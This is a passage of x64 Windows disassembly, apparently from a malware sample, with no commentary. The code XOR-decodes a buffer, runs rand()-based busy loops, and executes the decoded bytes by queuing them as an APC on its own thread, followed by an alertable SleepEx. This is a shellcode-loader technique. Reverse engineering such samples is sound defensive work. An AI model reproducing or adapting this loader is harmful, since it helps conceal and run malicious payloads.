movzx r8d, byte [rax]
mov eax, dword [rbp + 0x82c]
cdqe
movzx ecx, byte [rbp + rax + 0x20]
mov eax, dword [rbp + 0x834]
movsxd rdx, eax
mov rax, qword [rbp + 0x6a8]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x82c], 0
jmp 0x140002ac5
mov ecx, 0x584
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x658], rax
mov dword [rbp + 0x808], 0
mov dword [rbp + 0x654], 0
mov dword [rbp + 0x80c], 0
jmp 0x140002a24
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x80c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x658]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff88888889
shr rdx, 0x20
add edx, eax
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1e
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x80c], 1
cmp dword [rbp + 0x80c], 0x160
jle 0x1400029d8
mov dword [rbp + 0x80c], 0
jmp 0x140002a65
mov eax, dword [rbp + 0x80c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x658]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x808], eax
add dword [rbp + 0x80c], 1
cmp dword [rbp + 0x80c], 0x160
jle 0x140002a3c
mov rax, qword [rbp + 0x658]
mov rcx, rax
call sub.msvcrt.dll_free
mov eax, dword [rbp + 0x834]
movsxd rdx, eax
mov rax, qword [rbp + 0x6a8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x82c]
cdqe
movzx ecx, byte [rbp + rax + 0x20]
mov eax, dword [rbp + 0x834]
movsxd rdx, eax
mov rax, qword [rbp + 0x6a8]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x82c], 1
add dword [rbp + 0x834], 1
cmp dword [rbp + 0x834], 0x4eb
jle 0x140002951
mov rax, qword [rbp + 0x6a8]
mov qword [rbp + 0x680], rax
mov rax, qword [rbp + 0x7e8]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x678], rax
mov rax, qword [rbp + 0x7e8]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x670], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x680]
mov r9, qword [rbp + 0x678]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x670]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov dword [rbp + 0x66c], 0
mov dword [rbp + 0x7fc], 0
mov ecx, 0x41a0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x660], rax
mov dword [rbp + 0x804], 0
jmp 0x140002c63
mov dword [rbp + 0x800], 0
jmp 0x140002c4f
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, dword [rbp + 0x804]
movsxd rcx, eax
mov rax, rcx
shl rax, 2
add rax, rcx
shl rax, 2
add rax, rcx
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x660]
lea r8, [rcx + rax]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
mov edx, dword [rbp + 0x800]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
mov eax, dword [rbp + 0x804]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x660]
add rdx, rax
mov eax, dword [rbp + 0x800]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x140002c48
add dword [rbp + 0x7fc], 1
add dword [rbp + 0x800], 1
cmp dword [rbp + 0x800], 0x53
jle 0x140002ba8
add dword [rbp + 0x804], 1
cmp dword [rbp + 0x804], 0x31
jle 0x140002b99
cmp dword [rbp + 0x7fc], 0x834
jne 0x140002c86
mov dword [rbp + 0x66c], 1
mov rax, qword [rbp + 0x660]
mov rcx, rax
call sub.msvcrt.dll_free
mov eax, 0
movups xmm6, xmmword [rbp + 0x870]
add rsp, 0x908
pop rbx
pop rsi
pop rdi
pop rbp
ret